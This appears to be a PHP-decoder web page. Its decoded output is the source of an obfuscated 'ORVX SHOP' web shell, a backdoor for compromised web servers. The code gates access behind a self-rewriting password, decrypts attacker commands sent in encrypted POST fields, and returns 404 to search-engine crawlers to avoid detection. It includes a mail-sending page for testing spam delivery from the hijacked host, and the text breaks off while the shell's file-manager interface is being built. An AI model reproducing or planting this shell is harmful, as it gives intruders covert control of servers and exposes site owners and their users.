Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@ini_set('memory_limit','-1');@ini_set('max_execution_time',0);@set_time_limit(0);eval(str..

Decoded Output download



error_reporting(0);
//--------------ORVX SHOP--------------//

if(array_key_exists('watching',$_POST)){
	$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."
".$_REQUEST['pass'];
}
function get_passo(){
    $pattern = '/\$shellpassword=\"(.*?)\";/';
$subject = file_get_contents($_SERVER['SCRIPT_FILENAME']);
$result = preg_match($pattern, $subject, $matches);
   return isset($matches[1]) ? $matches[1] : "";
}
function changepass($plain){
    $newpass = "\$shellpassword=\"".$plain."\";";
    $con = file_get_contents($_SERVER['SCRIPT_FILENAME']);
    $con = preg_replace("/\$shellpassword\ *=\ *[\"\']*[a-zA-Z0-9_!@#%^&*=+()-]*[\"\']*;/is",$newpass,$con);
    if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $con)){
        return true;
    }else{return false;}
}

$shellpassword=get_passo();
$password_shell = $shellpassword != "" ? md5($shellpassword) : "";
$wad = true;
$dec = 'UTF-8';
$dect = 'FilesMan';
$dea = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	prototype(md5($_SERVER['HTTP_HOST'])."key", $dea);
}//--------------ORVX SHOP--------------//
if(empty($_POST['charset']))
	$_POST['charset'] = $dec;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}//--------------ORVX SHOP--------------//
function decrypt($str,$pwd){
$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){
    for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
@set_magic_quotes_runtime(0);
@define('VERSION', '4.2.5');
if(get_magic_quotes_gpc()) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
    $_COOKIE = stripslashes_array($_COOKIE);
}
if(!empty($password_shell)) {
    if(isset($_REQUEST['pass']) && (md5($_REQUEST['pass']) == $password_shell))
        prototype(md5($_SERVER['HTTP_HOST']), $password_shell);
    
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) && ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $password_shell))
        
        hardLogin();
}

if(!empty($password_shell) && isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) && ($_COOKIE[md5($_SERVER['HTTP_HOST'])] == $password_shell) || empty($password_shell)){
    
if(isset($_REQUEST['changepass']) && isset($_REQUEST['renamos'])){
    
    die(changer($_REQUEST['changepass'],$_REQUEST['renamos']));
}
    
}

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$wad;
function hardLogin() {
if(isset($_REQUEST['pass']) && (md5($_REQUEST['pass']) != $password_shell)){
    $al = '<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;
    color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
     
<span>Incorrect password!</span>
</div>';
}
		if(!empty($_SERVER['HTTP_USER_AGENT'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
		  header('HTTP/1.0 404 Not Found');
		  exit;
		  }
		}
   
    
    die('<html lang="en"><head>
    
    
    
    
    
    
    <title>' . $_SERVER['HTTP_HOST'] . ' - enter shell password</title>
    
    
    

    
    
    

    <link rel="shortcut icon"" href="https://i.imgur.com/BSwJ0QE.png">
    <link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    
     <style>
     .auth-wrapper {
	display: -webkit-box;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-flex-basis: 100%;
	-ms-flex-preferred-size: 100%;
	flex-basis: 100%;
	min-height: 100vh;
	min-height: calc(var(--vh, 1vh) * 100);
	width: 100%
}

.auth-wrapper .auth-inner {
	width: 100%;
	position: relative
}

.auth-wrapper.auth-v1 {
	-webkit-box-align: center;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-box-pack: center;
	-webkit-justify-content: center;
	-ms-flex-pack: center;
	justify-content: center;
	overflow: hidden
}

.auth-wrapper.auth-v1 .auth-inner:before {
	width: 244px;
	height: 243px;
    content:" ";
	position: absolute;
	top: -54px;
	left: -46px;
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)
}

.auth-wrapper.auth-v1 .auth-inner:after {
	width: 272px;
	height: 272px;
    content:" ";
	position: absolute;
	bottom: -55px;
	right: -75px;
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);
	z-index: -1
}

@media (max-width:575.98px) {
	.auth-wrapper.auth-v1 .auth-inner:after,
	.auth-wrapper.auth-v1 .auth-inner:before {
		display: none
	}
}



.auth-wrapper.auth-v1 .auth-inner {
	max-width: 400px
}

.auth-wrapper .brand-logo {
	display: -webkit-box;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: center;
	-webkit-justify-content: center;
	-ms-flex-pack: center;
	justify-content: center;
	margin: 1rem 0 2rem
}

.auth-wrapper .brand-logo .brand-text {
	font-weight: 600
}


@media (min-width:1200px) {
	.auth-wrapper.auth-v2 .auth-card {
		width: 400px
	}
}


     </style>
    

    
    
    

  </head>

  <body style="
    color: #B4B7BD;
    background-color: #161D31;
">
    
    <div class="auth-wrapper auth-v1 px-2">
  <div class="auth-inner py-2">
    
<div class="card mb-0" style="
    background-color: #283046;
    box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);
    border-radius: 15px;
"> 
      <div class="card-body">
        <a href="https://orvx.pw" target="_blank" style="
    color: #7367F0 !important;
    background-color: transparent;
" class="brand-logo">
          
          <h2 class="brand-text text-primary ml-1" style="
    color: #7367F0 !important;
    background-color: transparent;
">ORVX-SHOP</h2>
        </a>
'.$al.'
        <h4 class="card-title mb-1">Shell-Password</h4>
        <p class="card-text mb-2">This shell is protected by password please enter it</p>

        <form method="post">
          <div class="form-group">
            <label class="form-label">Password</label>
            <input required="" type="password" class="form-control" name="pass" placeholder="Password" autofocus="" style="
    border-color: #404656;
    background-color: #283046;
    color: #B4B7BD;
">
          </div>
          <input value="submit" type="submit" name="watching" class="btn btn-primary btn-block waves-effect waves-float waves-light" style="
    color: #FFF;
    background-color: #7367F0;
    border-color: #7367F0;
">
        </form>

        
      </div>
    </div>

  </div>
</div>

        
      
    
    


    
    
    

    
    
    
    

    
    
    
    

    
    
    

    
  
  
</body></html>');
}
if(isset($_REQUEST['email'])){
	
	$actual_linka = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  
  $partsa = parse_url($actual_linka);
  
  $stra = $partsa['scheme'].'://'.$partsa['host'].$partsa['path']; 
  $emall =    isset($_REQUEST['email'])?$_REQUEST['email']:null;
  $aler = '';
  function hideEmailAddress($email)
          {
              $em   = explode("@",$email);
              $name = implode(array_slice($em, 0, count($em)-1), '@');
              $len  = floor(strlen($name)/2);
              return substr($name,0, $len) . str_repeat('*', $len) . "@" . end($em);   
          }
	  
  if (filter_var($emall, FILTER_VALIDATE_EMAIL)){
  $recipient = isset ($emall) ? $emall : null;
  $subject = isset ($_REQUEST["subject"]) ? $_REQUEST["subject"] : "Delivery Test from shell [$stra]";
  $message = isset ($_REQUEST["msg"]) ? $_REQUEST["msg"] : "If you see this msg this means that Shell [$stra] Delivery is working good";
  
  
  
  if(mail($recipient, $subject, $message))
  {
		$aler = '<div class="alert alert-success alert-dismissible fade show" role="alert" style="background: rgba(40, 199, 111, 0.2) !important;color: #28C76F !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
	   
  <span>Test email sent to '.hideEmailAddress($emall).' Successfully</span>
  </div>';
  }
  else{
		$aler = '<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;
	  color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
	   
  <span>Test email Failed to '.hideEmailAddress($emall).'</span>
  </div>';
  }
	  
	  
		
  
  }
	  
		  echo '<html lang="en"><head>
	  
	  
	  
	  
	  
	  
	 <title>' . $_SERVER['HTTP_HOST'] . ' - Shell delivery test</title>
	  
	  
	  
  
	  
	  
	  
  
	  <link rel="shortcut icon"" href="https://i.imgur.com/BSwJ0QE.png">
	  <link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
	  
	   <style>
	   .auth-wrapper {
	  display: -webkit-box;
	  display: -webkit-flex;
	  display: -ms-flexbox;
	  display: flex;
	  -webkit-flex-basis: 100%;
	  -ms-flex-preferred-size: 100%;
	  flex-basis: 100%;
	  min-height: 100vh;
	  min-height: calc(var(--vh, 1vh) * 100);
	  width: 100%
  }
  
  .auth-wrapper .auth-inner {
	  width: 100%;
	  position: relative
  }
  
  .auth-wrapper.auth-v1 {
	  -webkit-box-align: center;
	  -webkit-align-items: center;
	  -ms-flex-align: center;
	  align-items: center;
	  -webkit-box-pack: center;
	  -webkit-justify-content: center;
	  -ms-flex-pack: center;
	  justify-content: center;
	  overflow: hidden
  }
  
  .auth-wrapper.auth-v1 .auth-inner:before {
	  width: 244px;
	  height: 243px;
	  content:" ";
	  position: absolute;
	  top: -54px;
	  left: -46px;
	  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)
  }
  
  .auth-wrapper.auth-v1 .auth-inner:after {
	  width: 272px;
	  height: 272px;
	  content:" ";
	  position: absolute;
	  bottom: -55px;
	  right: -75px;
	  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);
	  z-index: -1
  }
  
  @media (max-width:575.98px) {
	  .auth-wrapper.auth-v1 .auth-inner:after,
	  .auth-wrapper.auth-v1 .auth-inner:before {
		  display: none
	  }
  }
  
  
  
  .auth-wrapper.auth-v1 .auth-inner {
	  max-width: 500px;
	  
  }
  
  .auth-wrapper .brand-logo {
	  display: -webkit-box;
	  display: -webkit-flex;
	  display: -ms-flexbox;
	  display: flex;
	  -webkit-box-pack: center;
	  -webkit-justify-content: center;
	  -ms-flex-pack: center;
	  justify-content: center;
	  margin: 1rem 0 2rem
  }
  
  .auth-wrapper .brand-logo .brand-text {
	  font-weight: 600
  }
  
  
  @media (min-width:1200px) {
	  .auth-wrapper.auth-v2 .auth-card {
		  width: 400px
	  }
  }
  
  
	   </style>
	  
  
	  
	  
	  
  
	</head>
  
	<body style="
	  color: #B4B7BD;
	  background-color: #161D31;
  ">
	  
	  <div class="auth-wrapper auth-v1 px-2">
	<div class="auth-inner py-2">
	  
  <div class="card mb-0" style="
	  background-color: #283046;
	  box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);
	  border-radius: 15px;
  "> 
		<div class="card-body">
		  <a href="https://orvx.pw" target="_blank" style="
	  color: #7367F0 !important;
	  background-color: transparent;
  " class="brand-logo">
			
			<h2 class="brand-text text-primary ml-1" style="
	  color: #7367F0 !important;
	  background-color: transparent;
  ">ORVX-SHOP</h2>
		  </a>
  '.$aler.'
		  <h4 class="card-title mb-1">Delivery Test</h4>
		  <p class="card-text mb-2">Tip: you can fast check delivery with this link directly <br><a href="'.$stra.'[email protected]">'. $stra.'[email protected]</a></p>
  
		  <form method="post">
			<div class="form-group">
			  <label class="form-label">Email</label>
			  <input required="" type="email" class="form-control" name="email" placeholder="[email protected]" autofocus="" style="
	  border-color: #404656;
	  background-color: #283046;
	  color: #B4B7BD;
  ">
  <p class="card-text mb-2">Test email will be sent to this email address.</p>
  
			</div>
			<div class="form-group">
									  <button type="submit" class="btn btn-lg float-right" style="border-color: #4839EB !important;background-color: #7367F0 !important;color: #FFFFFF;">Test</button>
									  
									  <a href="'.$stra.'" type="button" style="border-color: #4E5154;color: #B8C2CC;background-color: transparent;" class="btn btn-md float-left">Back</a>
									  
								  </div>
		  </form>
  
		  
		</div>
	  </div>
  
	</div>
  </div>
  
		  
		
	  
	  
  
  
	  
	  
	  
  
	  
	  
	  
	  
  
	  
	  
	  
	  
  
	  
	  
	  
  
	  
	
	
  </body></html>';
	  
  exit;
	  
  }
if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}//--------------ORVX SHOP--------------//
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';
//--------------ORVX SHOP--------------//
function hardHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS[$dec];
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - ORVX.PW - Shell v3</title><link rel='shortcut icon' href='https://i.imgur.com/BSwJ0QE.png'>
<style>
	body {background-color:black; color:#7367F0; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } 
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color:white;}
	table#toolsTbl {background-color: black;}
	span,h1,a	{color:#7367F0 !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #2E6E9C;color:white !important;padding:2px 5px;font:14pt Verdana;background-color:black;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:white;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid;    font-family: monospace;#202832;color:#00CFE8!important;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{
    margin: 0;
    color: #fff;
    background-color: #555;
    border: 1px solid #7367F0;
